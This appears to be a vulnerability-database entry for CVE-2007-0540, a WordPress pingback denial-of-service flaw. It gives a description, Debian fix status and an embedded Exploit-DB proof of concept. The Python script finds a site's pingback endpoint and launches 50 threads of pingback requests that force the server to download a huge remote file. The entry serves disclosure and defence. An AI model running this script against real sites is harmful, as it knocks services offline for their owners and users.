CVE-2007-0540
Description
WordPress allows remote attackers to cause a denial of service (bandwidth or thread consumption) via pingback service calls with a source URI that corresponds to a file with a binary content type, which is downloaded even though it cannot contain usable pingback data.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WordPress Core 1.x/2.0.x - Pingback SourceURI Denial of Service / Information Disclosure
source: https://www.securityfocus.com/bid/22220/info
WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.
Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.
Versions prior to WordPress 2.1 are vulnerable.
#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
from threading import Thread
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
# Fetch Pingback-URL
pingbackURL = urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback: %s" % (targetURL, pingbackURL)
# Attack
def attack():
server = ServerProxy(pingbackURL)
try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
except: pass
for i in range(50):
Thread(target=attack).start()
print "-- attacking --"
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.1.0-1 |
| sid | Fixed | 2.1.0-1 |
| forky | Fixed | 2.1.0-1 |
| bullseye | Fixed | 2.1.0-1 |
| bookworm | Fixed | 2.1.0-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.